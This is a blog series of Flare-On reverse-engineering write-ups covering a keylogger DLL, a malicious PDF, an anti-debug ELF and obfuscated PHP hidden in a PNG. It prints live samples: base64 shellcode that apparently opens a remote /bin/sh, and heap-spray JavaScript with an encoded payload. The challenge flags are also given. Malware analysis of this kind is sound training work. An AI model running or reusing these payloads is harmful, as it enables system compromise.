FireEye - FlareOn Challenge 6 Argument 2

So if you read my previous post..you'd know I was stuck on Argument 2 last time. I finally managed to crack it with a little help. The answer had been staring at me all the time and somehow I'd overcomplicated things. Oh well. I learnt a lot.

So..the last time in the previous post, I was stuck at the function 401164. I went through it multiple times, sat and marked blocks out in IDA, used Hexrays on it to get C code (I don't do this until it's an absolute last resort) but all I could see was loads of operations on a big chunk of encrypted text.

Yeah. So I found this chunk of text at 729900..and this is exactly what it looked like.

---------------------------
SIn46AAAAABIixwkSIPDCusKSDHSSDHAsDwPBcAI8oA4G3QC/+NIg8ABgDBAgDDygDCzgDgwdAL/40iDwAGAMHGAOB90Av/jSIPAAYAAo8AIvIA4sHQC/+NIg8ABgCh5gDjodAL/40iDwAHACIKAKCiAOPZ0Av/jSIPAAYAosMAITYAALIA4H3QC/+NIg8ABgABUwACZgDC4wAgqgAA/gDivdAL/40iDwAHACLqAOF10Av/jSIPAAYAw7cAIbIAAMIA4KXQC/+NIg8ABgCi/gDi1dAL/40iDwAHAALyAAIzAAHuAKDGAAGOAOKV0Av/jSIPAAcAAIMAAFoAwrsAAmIA483QC/+NIg8ABwAhugADSgDimdAL/40iDwAGAADSAOGJ0Av/jSIPAAYAAzYAoEIAAYoAwsoA4MnQC/+NIg8ABgDC3gDBzwAgHgDjrdAL/40iDwAGAADSAKGHACDaAAFuAKEyAOAt0Av/jSIPAAYAAWoA4mnQC/+NIg8ABwAiigDiZdAL/40iDwAGAMH6AKOeAOCt0Av/jSIPAAYAouIAwhoAATsAISsAAV4A4r3QC/+NIg8ABwAiGgDDowACVgDBKgDCtgDjDdAL/40iDwAHACEWAMMyAAByAOAN0Av/jSIPAAYAoSoA443QC/+NIg8ABgDClwAiQgDjKdAL/40iDwAHACN7AADaAMHiAKNiAOD50Av/jSIPAAYAAtYAorcAIicAAosAAEYA42HQC/+NIg8ABgABAgCghwAjAgDiCdAL/40iDwAHAAOOAOHt0Av/jSIPAAYAoeMAI9oA413QC/+NIg8ABSDHASDH/SDH2SDHSTTHAagJfagFeagZaailYDwVJicBIMfZNMdJBUsYEJAJmx0QkApoCx0QkBAkeS1ZIieZqEFpBUF9qKlgPBUgx9moDXkj/zmohWA8FdfZIMf9XV15aSL8vL2Jpbi9zaEjB7whXVF9qO1gPBZDr/pA=
------------------------------

The function iterated for the length of this string and performed some operation on it ... using a byte array at 4F4000. But I couldn't understand what it was doing....with all that math. Specially because the very next function, was just an exit function.

Now I'd marked it as an exit function a long time back...and forgotten about it...and not analyzed its code carefully at all. After all, it's exit() ffs... what's there to look into? I was wrong :(

I pinged a person on reddit for a pointer. He/she said I was close...and should think about encoding and the = sign. Sure, I think. Base64. Obviously. But why is that relevant here? Yeah the encrypted text had an = at the end...but so what? It's too big for an Email address. So what's the damn point of decoding it? That's what I'd thought...a long time back.

Anyway I copied the text and threw it into an online Base64 decoder...

and my eyes popped out when I saw what I did.

Look at the screenshot...the right pane..towards the bottom. You'll see some ASCII text called /bin/sh. It's trying to call a shell.... it's shell code. And I'd been staring at it for at least 2-3 days. #-o. Serves me right for assuming things. Sigh.

Anyway, if there's shell code, that means the program is going to jump to it at some point. And I think...wtf.... all that's left is that exit() call at 44bb2b. When the hell is it jumping? And where's that code?

So I then decide to separately throw the shellcode into a disassembler and analyze it. Since it didn't have the ELF header and I was in no mood to recreate one (if I could :D) I threw the code into an awesome online disassembler at http://www2.onlinedisassembler.com/.

...and the code there looked very very familiar. I'd seen it somewhere. Where? Then it hit me...it was IN the exit function.

The exit function had code that compared something with '1b' at the offset cfc4... and exit if it didn't match. And what was it comparing it with? The 2nd argument. And if you didn't enter that correctly..which I wasn't...it'd fail.

So at this point...it was just about reversing the algorithm inside. Here I have a confession to make. While searching for hints and verifying the 1st argument, I'd accidentally seen part of the 2nd argument on one of the solutions, so I knew it started with lin. That sucked. But anyway... just to verify I entered 'l' and..yes..it passed the jump. So the I just needed to solve that entire algorithm...which was just different basic math at every step. Rotate right an left, xor, add, and sub..with binary and hex. I started doing it manually...but was just horribly bored as the pace was very slow guessing it.

So I decided I'd write code for it and solve it. It's basically mind numbing work predicting character by character...and the algorithm is different each time. An utter waste of time really... and this made no sense to me from FireEye's perspective. Oh well I guess that's how real malware is :shrug

Here's the code I wrote - it's just a very quickly written piece of code. Not great at all. But it works:

https://gist.github.com/arvinddoraiswamy/846de119b09dcbb8ea92

I wrote code till the "@" character...and then just guessed the rest. Here too...out of sheer tedium...I guessed 1 character...manually added it to my flag..and then proceeded to solve the algorithm again for the same character. And wondered wtf was wrong now...and why gdb kept throwing me out.

Only googling the exact answer showed me the error of my ways :|. Obviously, that's not how it works in real life...but really I was done...and there was nothing left to solve in the challenge, so I think it was ok.

The final flag was:- l1nhax.hurt.u5.a1l@flare-on.com

Oh you bet. This was a painful painful challenge. What an utter load of junk there was inside. 7 or 8 functions out of some 2700+ that were useful. Sheesh :)

p.s..The bad thing was that someone had written the flag of challenge 7 underneath challenge 6... :( but luckily I have already forgotten it :D. I won't solve challenge 7 for a few days till I am sure I don't remember anything.

Fireeye - FlareOn Challenge 6 Argument 1

Challenge 6 was a 64 bit statically linked ELF binary. Now I haven't yet finished solving it (hey it's hard ;)) but have got through half of it. I needed a tiny hint though this time to set me on the right track. Anyway though...its complex enough that I can write about Part 1. Later maybe I'll add Part 2 once I solve it someday. If not and I look at spoilers, I'll try and blog about the learnings :). Ok lets start.

Once I ran file and identified it was statically linked, I sighed inwardly. That's coz static binaries have the Linux libraries that they are linked to as part of the binary. This ensures that these binaries will run on any system - unlike when there is dynamic linking in place, and dependency on specific libraries. From a reverse engineering standpoint this is bad, because the disassembly in IDA is cluttered with library code and its super hard to identify what code is user written.

Ran the file in a VM. Always make sure you run the file in a VM. All it did was come back with "no". That's it. So the next thing is to find out where the "no" was referenced. So after a bit of stepping in and stepping out, the call at 45dea0 looked suspicious - it pointed to another function at 45dce0. This eventually makes a call to sub_452079. A quick tip incase you start to debug 452079 but forget where it was called from is to either:

-- Hit ESC to go back and Ctrl+Enter to come forward again
-- Or right click on sub_452079 in the IDA View and click List cross references to

Anyway, on first sight 452079 looks like a gold mine with a ton of juicy strings. Every single one of them is utter garbage. So I just kept scrolling in IDA till I saw the last (or so I thought) strings go by. And set a breakpoint after that. Sometimes it'd not hit my breakpoint because it's position was wrong. But slowly, after a few attempts, I managed to find out where the "No" was getting called from - 4535bb. And then the very next call at 4535c5 was causing the program to exit.

So one thing was then clear, I had to skip that jump for sure, so I used a little bit of gdbinit magic :) for now to patch the program in memory and see where it leads me. The .gdbinit file is something that gdb runs commands from before starting to run the program.

------
br *0x4535b4
commands
set $ps=$ps&0x4
continue
end
-------

This basically breaks execution at 4535b4 and unsets the zero flag so execution can jump over the exit code, and then continues execution.

Well, that worked for a while but then I crashed after some time with a very fishy looking "Program has a segfault" error. Digging further revealed that all this was happening at 41F21C. So usually when something like that happens, the code that is making that happen is usually in the call just above that. So.. digging into the call at 41F211..revealed that there was a line at 474319 which made a syscall and had an argument of 0x65 [syscall(0x65)]. This means that there is some kind of system call being made...and it's very interesting many times ;). But we need to find out what 0x65 stands for. So let's search for a syscall table online. We find a nice one at:

https://filippo.io/linux-syscall-table/

What's 65? semop. Eh? Linux IPC? Wtf. What does that even mean? Ah its Hex. And the table is decimal :). 65 in hex is 101 in decimal and that...is ptrace. Ah that makes sense. ptrace() is a call on Linux that detects if code is running inside a debugger, like us. gdb remember? So we need to run outside gdb. But then how do we find out what's going on? We can't. So we do some more gdbinit magic. Heh.

----------------
br *0x41f21c
commands
set $ps=$ps|0x40
continue
end
-----------------

Okay, that sets the zero flag, because this time ..that's what we want and jump to 41F232...not to the silly SEGV message.

Great...then we continue debugging...and the program just hangs. Like just hangs. Nothing I do makes a difference. In the past, when I've debugged and a program has hung, it's been because it's potentially waiting for some network connection and listening. Checking with netstat and lsof revealed nothing this time, so the next logical candidate was a long long sleep() call.

So .. hitting a Ctrl+C inside gdb gave me the address of where the "hanging" was happening.

--------------
Breakpoint 2, 0x000000000041f21c in ?? ()
^C
Program received signal SIGINT, Interrupt.
0x0000000000473d50 in ?? ()
--------------

Hmm... 473d50. What's there? Ha. Another syscall...this time its 0x23.  Or 35 in decimal. Lets go back to our syscall table again. Ah there we go. nanosleep(). Man page - "nanosleep() suspends the execution of the calling thread until either at least the time specified in *req has elapsed"

ok..that's the first argument to nanosleep() then which is some huge number. Now where is the first argument stored. It's called from 473C67...and the arguments are stored in the lines just above that. That's rdi and rsi then. That's how things happen in Linux...the arguments are stored in registers and not explicitly pushed on to the stack like in Windows. So... if we can edit rdi to a smaller value than what's currently there....which is

(gdb) x/d $rdi
0x7fffffffd530:    3597
(gdb)

...that's 3597 seconds. 1 hour. I'm not sure we want to wait for an hour before resuming debugging. So I did some more gdbinit magic and edited rdi at runtime to 0x10.

--------------------------
br *0x473c67
commands
set $rdi=0x10
continue
end
--------------------------

... which should have caused sleeping for 10 seconds. But it didn't and almost returned instantly. :D. Not sure why. Didn't dig too deep though as my purpose was to get past the sleep() call.

The code went on ..after this. But if you're still following along I'd advise you to straight away put a breakpoint on 44bb2b :D. Coz all the code .. well most of it :) after the nanosleep() and before 44bb2b is utter utter junk and you'll just waste hours stepping in and out.

There is a call here to 44b942. Scroll down here as well...until you see the last 2 calls inside this function. A little debugging reveals that the call at 44bb2b is an exit call and the program just exits here. Which usually, usually means that the call before that has some juicy stuff. This is the call at 401164. But while this function looks different and interesting....its very unclear where the flag is hidden here. Coz all that happens inside here is a lot of integer operations and some fancy math :(.

Now at this point I got stuck and decided to ask for help on reddit. 2 people who had already solved it very kindly poked me in the right direction ..while talking about arguments. Ah... the program has arguments? How many? What? Time for strace. Thanks guys :)

strace ./C6 1234 abcd ... shows me that SEGFAULT message. Means its 2 arguments. Nice. I'm still unclear though, about how to identify via static analysis...how many arguments a program takes.

Anyway... so then logically, what are those arguments? So running the function with no arguments...if you remember gave us "No"...but running it with 2 arguments gives us "bad". Trying to figure out where bad came from in the first place was another big pain.

Eventually though as it turns out...bad is called from 2 places 43710a and 4371DE. The first one checks if the 1st argument has 10 digits

cmp rax, 0xa

and if that's satisfied...it goes on to 437120 ...else it goes to "bad". The second "bad" message is at 4371DE.... and the comparison is at 4734b4. Now this was the first place I found that IDA was wrong. :-o. This caused more chaos. Eventually with gdb's help I found out that the comparison was happening at 4734b4.

.text:00000000004734AE mov     eax, [rdi-0Ah]
.text:00000000004734B1 mov     ecx, [rsi-0Ah]
.text:00000000004734B4 cmp     eax, ecx

Now one of these (I forget which) contains a string "bngcg`debd" and the other...I have to enter the right input so it computes to this string. A little bit of playing around with 10 digit numbers and I found the right number. (I think I got lucky here directly with numbers, I could have easily tried strings and struggled a while longer :D)

The first argument is 4815162342.

I haven't figured out what the 2nd argument is...and want to slog at this a while more before reading the many great solutions to this that are already online. But...this was complex enough for me to put it out :)

Hopefully I'll have part 2 soon. Until then ...adios :)

OllyDbg - Running DLLs

So this isn't something new really. There's plenty of articles that talk about running DLLs. You usually either write a small EXE that uses LoadLibrary to load the DLL or use rundll32.exe with the arguments set to calling DllMain(). That'll work.

But that'll work only if all the functions are eventually called. I mean... if a DLL has 4 functions A, B, C and D. And the program flow is something like:

DLLMain(){
   a()
}

a() {
  b()
  c()
}

c(){
  d()
}

... it'll work and you'll end up being able to reverse the entire DLL.

But if you have a 5th function e() that isn't directly called... and is called only on some specific case... you won't directly ever end up there.

A quick tip on how to analyze this in Olly is to identify the function() to reverse using IDA or any other disassembler and go to that address. Now right click on that address and click "Set new origin here". This will allow you to run that function :)

Of course...this will work out of the box only if the function takes no arguments at all. If it does you will have to set up the registers EAX, EBX, ECX and anything else...with the correct arguments. This you can do..by finding out where it was called from... or by studying how the arguments are processed inside the function by running it and seeing why it crashes.

For example: A function may need 2 arguments and takes these from EBX and ECX. So you might fill in EBX="A" and ECX="d" and try and run the function. But you might find out later that there was code which was dividing EBX and ECX... (EBX/ECX). This means that they both had to be numbers... integers maybe. So you fill up EBX=4 and ECX=2 and see what happens. It might crash again but for some different reason...and you then go back .. and so on :)

Nothing new but a quick little thing that I learnt last week or so...while working on that Fireeye challenge.

Fireeye - Flare-on Challenge 5

This one was a DLL. Ooh another nice one. Most of my previous reversing success has either been PE or ELF so it's really cool to do all these cool challenges and improve.

Now a DLL is something that has a ton of functions that an EXE calls. You can't directly run a DLL...you need to make an EXE import it and then debug the EXE. At least that's how I've done it in the past :).

So I tried doing this with Olly 1.10 which comes with LoadDLL.exe. That failed and Olly got stuck. So I abandoned that idea and decided to use regsvr32 and rundll32 instead. What eventually worked was rundll32. So you load Olly up..open rundll32.exe and set Olly's arguments to the DLL (5get_it.dll, Dllmain).

http://www.iacertification.org/reverse_engineering_malware_971.html
http://www.openrce.org/forums/posts/313

Also ensure that you're using Olly 2.01 and have set it to break each time a new DLL is loaded. I had a small blog post on this here.

So eventually...I broke in at DllMain...and with the help of IDA and some F8 in Olly it was clear that svchost.dll in the system32 directory was being overwritten. A registry key was also created in HKLM\....\Run... to ensure the DLL was run each time the machine rebooted. That much was relatively easy.

Now after all this...the code seemed to jump into one of the largest functions (at 10009EB0) I have ever seen. It seemed like a massive massive switch/case loop. Here's a pic..that shows how big it truly was:

There was an API called GetAsyncKeyState...that was called and then it went into the switch-case structure. Here's a screenshot showing the code inside a couple of these functions. Take a guess what it is?

See the 'v' and 'w' in the screenshot? That's basically what's pushed to the function at 10001000 which then appends the character 'v or 'w to the svchost.log file in System32. Each little function does similar things....just for a different character each time. In other words...this is a keylogger :)

Now I've been duped many times in the past following code down dead ends so I decided to write a little IDA script renaming all functions of this type..so I could ignore all of them and understand the rest of the program.

That code is here:- https://gist.github.com/arvinddoraiswamy/a16749ee76941e8d86c8

That made my life much easier...coz most of the code got renamed and there was very little left to look at :). The bad part was... none of the other code seemed to have anything relevant to the flag at all. :(

Okay lets run it in Olly...maybe something will turn up. Nope. It just remains in an endless loop...and logs keystrokes to svchost.log.. every single character. Now what?

Okay... lets now start opening up each of those functions...nothing super interesting until we come to 'm' and toggle the ZeroFlag....there's something different there. It makes a call to 10001240... something that none of the other letters do. Running this function causes a small message box with some ASCII ART (FLARE) to pop up.

Well awesome. That's progress. But now what? The box doesn't have the flag in it, does it? But since the box pops up...it must mean something. What? Okay.. so when does the box pop up? When I hit 'm' and the variable at 100194fc is not <=0 . Hmm.

I know how to hit 'm'... but how do force 100194fc = 1 ... or ..not <=0.. so the correct branch is taken? Right? If I can answer that...I have the flag. So we want to now search for references to 100194fc. Lets search in the IDB. Click Search - Sequence of Bytes and enter fc 94 01 10 (little endian). The only reference that's useful is an instruction...

.text:10009BF7 keylog_charbychar_10009B60 mov     dword_100194FC, 1

This means...that somewhere...some single location...it is setting 100194FC to 1. This is inside the function starting at 10009B60. What letter does that map to?

Ah...it maps to "o"... so stepping back...if we enter "o" it will set 100194fc to 1 ..and then if we press 'm' the ASCII art will pop up. Nice :).

So in other words we have to go backwards...study the values of every variable..see where it gets set to 1 and find out the next letter.

The mov instruction content to search for is given below. Byte in square brackets changes for each letter.
c7 05 [fc] 94 01 10 01 00 00 00

For "o" we need to find where 100194ec is set to 1. That is inside "c". So the last 3 letters are "com". We're very close :)

Keep going this way... and eventually you end up with the flag that is:

l0ggingdoturdot5tr0ke5atflaredashondotcom

Fireeye - Flare-On Challenge 4

This one was a malicious PDF. Ooh nice. I'd never done one of those before and get to learn something new now. So for starters I read a great paper by Didier Stevens to understand how to go about analyzing PDFs.

http://blog.didierstevens.com/2010/09/26/free-malicious-pdf-analysis-e-book/

As it turns out, objects can be hidden (I knew this) inside PDFs. This includes Javascript and shellcode (knew this too). What I didn't know though is how to go about extracting these malicious objects. So after following the PDF paper, I learnt how to use the tools pdfid and pdfparser. Both these are available here.

http://blog.didierstevens.com/programs/pdf-tools/

Anyway I started off looking for strings inside the PDF using a simple Hex Editor. Nothing interesting found. Run pdfid to get some information about the file...and whether there were any malicious objects inside it.

python pdfid.py C:\Users\arvind\Desktop\Fireeye_Flareon\C4\APT9001.pdf

Object 6 in the output appeared to have some malicious content hidden inside it. So obviously, the next logical step is to extract these malicious objects.

python pdf-parser.py --object 6 --filter --raw C:\Users\arvind\Desktop\Fireeye_Flareon\C4\APT9001.pdf

This resulted in a large amount of heavily obfuscated JS being revealed. Here is a sample - notice the large variable names - this is just classic "Security by obscurity"...in an attempt to throw the reverser off.

var HdPN = "";
    var zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf = "";
    var IxTUQnOvHg = unescape("%u72f9%u4649%u1525%u7f0d%u3d3c%ue084%ud62a%ue139%ua84a%u76b9%u9824%u7378%u7d71%u757f%u2076%u96d4%uba91%u1970%ub8f9%ue232%u467b%u9ba8%ufe01%uc7c6%ue3c1%u7
e24%u437c%ue180%ub115%ub3b2%u4f66%u27b6%u9f3c%u7a4e%u412d%ubbbf%u7705%uf528%u9293%u9990%ua998%u0a47%u14eb%u3d49%u484b%u372f%ub98d%u3478%u0bb4%ud5d2%ue031%u3572%ud610%u6740%u2bbe%u4afd%
u041c%u3f97%ufc3a%u7479%u421d%ub7b5%u0c2c%u130d%u25f8%u76b0%u4e79%u7bb1%u0c66%u2dbb%u911c%ua92f%ub82c%u8db0%u0d7e%u3b96%u49d4%ud56b%u03b7%ue1f7%u467d%u77b9%u3d42%u111d%u67e0%u4b92%ueb8
5%u2471%u9b48%uf902%u4f15%u04ba%ue300%u8727%u9fd6%u4770%u187a%u73e2%ufd1b%u2574%u437c%u4190%u97b6%u1499%u783c%u8337%ub3f8%u7235%u693f%u98f5%u7fbe%u4a75%ub493%ub5a8%u21bf%ufcd0%u3440%u0
57b%ub2b2%u7c71%u814e%u22e1%u04eb%u884a%u2ce2%u492d%u8d42%u75b3%uf523%u727f%ufc0b%u0197%ud3f7%u90f9%u41be%ua81c%u7d25%ub135%u7978%uf80a%ufd32%u769b%u921d%ubbb4%u77b8%u707e%u4073%u0c7a%
ud689%u2491%u1446%u9fba%uc087%u0dd4%u4bb0%ub62f%ue381%u0574%u3fb9%u1b67%u93d5%u8396%u66e0%u47b5%u98b7%u153c%ua934%u3748%u3d27%u4f75%u8cbf%u43e2%ub899%u3873%u7deb%u257a%uf985%ubb8d%u7f9
1%u9667%ub292%u4879%u4a3c%ud433%u97a9%u377e%ub347%u933d%u0524%u9f3f%ue139%u3571%u23b4%ua8d6%u8814%uf8d1%u4272%u76ba%ufd08%ube41%ub54b%u150d%u4377%u1174%u78e3%ue020%u041c%u40bf%ud510%ub
727%u70b1%uf52b%u222f%u4efc%u989b%u901d%ub62c%u4f7c%u342d%u0c66%ub099%u7b49%u787a%u7f7e%u7d73%ub946%ub091%u928d%u90bf%u21b7%ue0f6%u134b%u29f5%u67eb%u2577%ue186%u2a05%u66d6%ua8b9%u1535%
u4296%u3498%ub199%ub4ba%ub52c%uf812%u4f93%u7b76%u3079%ubefd%u3f71%u4e40%u7cb3%u2775%ue209%u4324%u0c70%u182d%u02e3%u4af9%ubb47%u41b6%u729f%u9748%ud480%ud528%u749b%u1c3c%ufc84%u497d%u7eb
8%ud26b%u1de0%u0d76%u3174%u14eb%u3770%u71a9%u723d%ub246%u2f78%u047f%ub6a9%u1c7b%u3a73%u3ce1%u19be%u34f9%ud500%u037a%ue2f8%ub024%ufd4e%u3d79%u7596%u9b15%u7c49%ub42f%u9f4f%u4799%uc13b%ue
3d0%u4014%u903f%u41bf%u4397%ub88d%ub548%u0d77%u4ab2%u2d93%u9267%ub198%ufc1a%ud4b9%ub32c%ubaf5%u690c%u91d6%u04a8%u1dbb%u4666%u2505%u35b7%u3742%u4b27%ufc90%ud233%u30b2%uff64%u5a32%u528b%
u8b0c%u1452%u728b%u3328%ub1c9%u3318%u33ff%uacc0%u613c%u027c%u202c%ucfc1%u030d%ue2f8%u81f0%u5bff%u4abc%u8b6a%u105a%u128b%uda75%u538b%u033c%uffd3%u3472%u528b%u0378%u8bd3%u2072%uf303%uc93
3%uad41%uc303%u3881%u6547%u5074%uf475%u7881%u7204%u636f%u7541%u81eb%u0878%u6464%u6572%ue275%u8b49%u2472%uf303%u8b66%u4e0c%u728b%u031c%u8bf3%u8e14%ud303%u3352%u57ff%u6168%u7972%u6841%u6
94c%u7262%u4c68%u616f%u5464%uff53%u68d2%u3233%u0101%u8966%u247c%u6802%u7375%u7265%uff54%u68d0%u786f%u0141%udf8b%u5c88%u0324%u6168%u6567%u6842%u654d%u7373%u5054%u54ff%u2c24%u6857%u2144%
u2121%u4f68%u4e57%u8b45%ue8dc%u0000%u0000%u148b%u8124%u0b72%ua316%u32fb%u7968%ubece%u8132%u1772%u45ae%u48cf%uc168%ue12b%u812b%u2372%u3610%ud29f%u7168%ufa44%u81ff%u2f72%ua9f7%u0ca9%u846
8%ucfe9%u8160%u3b72%u93be%u43a9%ud268%u98a3%u8137%u4772%u8a82%u3b62%uef68%u11a4%u814b%u5372%u47d6%uccc0%ube68%ua469%u81ff%u5f72%ucaa3%u3154%ud468%u65ab%u8b52%u57cc%u5153%u8b57%u89f1%u8
3f7%u1ec7%ufe39%u0b7d%u3681%u4542%u4645%uc683%ueb04%ufff1%u68d0%u7365%u0173%udf8b%u5c88%u0324%u5068%u6f72%u6863%u7845%u7469%uff54%u2474%uff40%u2454%u5740%ud0ff");
    var MPBPtdcBjTlpvyTYkSwgkrWhXL = "";

    for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA=128;EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA>=0;--EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA) MPBPtdcBjTlpvyTYkSwgkrWhXL += unescape("%ub32f%u379
1");
    ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv = MPBPtdcBjTlpvyTYkSwgkrWhXL + IxTUQnOvHg;
    OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY = unescape("%ub32f%u3791");
    fJWhwERSDZtaZXlhcREfhZjCCVqFAPS = 20;

.....

The first thing I did was do a lot of "Find-Replace" on all these variables and make them human readable. After a little bit of manual tracing...it was clear that there was this large "unescape" blob..right at the top which was doing something.

I added a few document.write() and alert() calls to print out the variable values. This was a disaster and obviously the flag isn't a JS variable value. Its UNICODE for sure...because of the %u at the start. But then it maps to Hangul characters :). Googling the name of the PDF document revealed that this was some advanced APT malware ...so I was upset that I'd now have to learn Hangul to crack this. Nothing wrong of course with that...but not er..what I wanted to spend my time learning right now :)

This turned out to be a dead end though. I mean...okay its Hangul but what now? :(. So I went back to basics...and started looking for other tools in that space. There was a new tool called peeppdf that I tried to install...but after 2 hours of fighting trying to get libemu and pylibemu installed...I gave up out of sheer boredum now and started looking at the JS again.

If it isn't Hangul or some wacky Unicode...its meaning is something else. What? So I RTFM more and find an awesome link that explains more:

http://www.thegreycorner.com/2010/01/analysing-malicious-pdf-document.html

So...it's shellcode :). That's why it did NOT render in ASCII when I was trying to print it out. Ok now...I followed the instructions on that link, used that cool little script, edited it a bit to remove the "Help" code as it did not compile...and then converted the Shellcode to C...and then compiled the C code to an Exe file using wine and mingw - http://www.jonshouse.co.uk/linuxmingw.cgi

Nice. Now I have shell code that I need to debug as usual. Load in IDA. Get entry point. Set BP in Olly on entry point. OllyDbg time :). All the useful code eventually runs from 402000.

A little F8 and you can see all those instructions magically appear. Hangul indeed. Bah :). Set a breakpoint on 4023C1. You can see the Email address in EAX :).

This EMail address is then XORed repeatedly with the word BEEF and the result is displayed in a Message Box. So really...if we'd just known that at the start and brute force XOR'd with all 4 character strings .. we'd have saved ourselves a ton of trouble :)

The Email address is: wa1ch.d3m.spl01ts@flare-on.com

Fireeye - Flare-On Challenge 3

Number 3 was another EXE file. Apart from CFF Explorer, I also load these EXEs into PEid, RDG Packer detector and Protection ID... just to get a feel of how hard it's going to be. These tools are great...but again they only compare against a signature database... so they will miss stuff too. Anyway this time...nothing was detected, all clear.

You can reverse stuff statically...in IDA or you can run it in a debugger like OllyDbg. I always prefer running things... its much quicker. And then use IDA side by side to understand the flow of code..so I can set breakpoints in the right places. Always make sure though...that you run all this stuff inside a virtual machine :D and turn outbound connections off unless you're absolutely sure of what you're doing.

So anyway I loaded this up in OllyDbg and ran it...and it crashed with an error message. Time to Step In (F7). The function exits inside 401000. Something inside this.

401000 copies a lot of code into memory. Nothing looks like ASCII. The start address (18FD47) of this "encrypted" block is then called. This means that an entire function was moved at run-time into memory and then called. Code between 18FD57 and 18FD61 XORs memory with hex 66 (f) and obtains an ASCII string in memory "and so it begins".

So already this points to...the flag eventually being in memory. The start of another encrypted block is at 18FD78. The word "nopasaurus" is compared for some reason :) and some more math results in "get ready to get no'ped..."

Slowly going through all code gives the 3rd flag ... in one of the registers (EAX I think).

The Email address is: such.5h311010101@flare-on.com

Trying to run further causes a crash at 18FF47. That's why you have to Step into and not F9 :).

It's easier to just find out where the crash happened and set a break point just before that... but I just did this slowly to show how to debug things manually.

Fireeye - Flare-On Challenge 2

The start for Challenge 2 was delayed by a few minutes due to me not reading instructions properly. The password for all the Zip files was "malware" but I didn't see this ... and wasted some time trying to crack the passwords #-o. Then I saw that all the challenges were Zip files and password protected...so it made no sense that I had to crack all of them. Some RTFM ... and I felt very stupid. Oh well :)

Unzipping reveals that there is a HTML file and an images directory. Loading up the file in a browser does nothing...and it looks very very similar to the Flare home page. Ditto for the image. It looks very similar to what's on the website. But obviously..that's not the case..rt?

The next logical step would be to take MD5 hashes of the HTML file and the PNG file. Then download the ones from the website and hash those as well. If they're the same..the hashes will match. But sometimes...a Hex editor like HXD on Ubuntu or CFF Explorer's inbuilt Hex Editor will do as well :) if you're lucky. This is one of those times.

Scrolling through the HTML source of the page...horizontally and vertically ;)... reveals a PHP directive which effectively includes a file..the image file..flare-on.png. Why?

Well...the include directive in PHP effectively means that the code inside the file is going to run directly..before any following code is run. So if I say...

include a.png

and a.png has some PHP inside... and I have PHP installed correctly the browser might (I am not sure here) detect the PHP inside... and run it.

So I opened the image file inside a Hex editor and extracted all the Obfuscated PHP and pasted it to a text file. Copied all of that into a PHP file.


$terms=array("M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r",
 "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5
", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|");

$order=array(59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 4
3, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28
, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91
, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63,
 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88,
77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37,
91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24, 1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70
, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49,
 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63
, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11,
 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75,
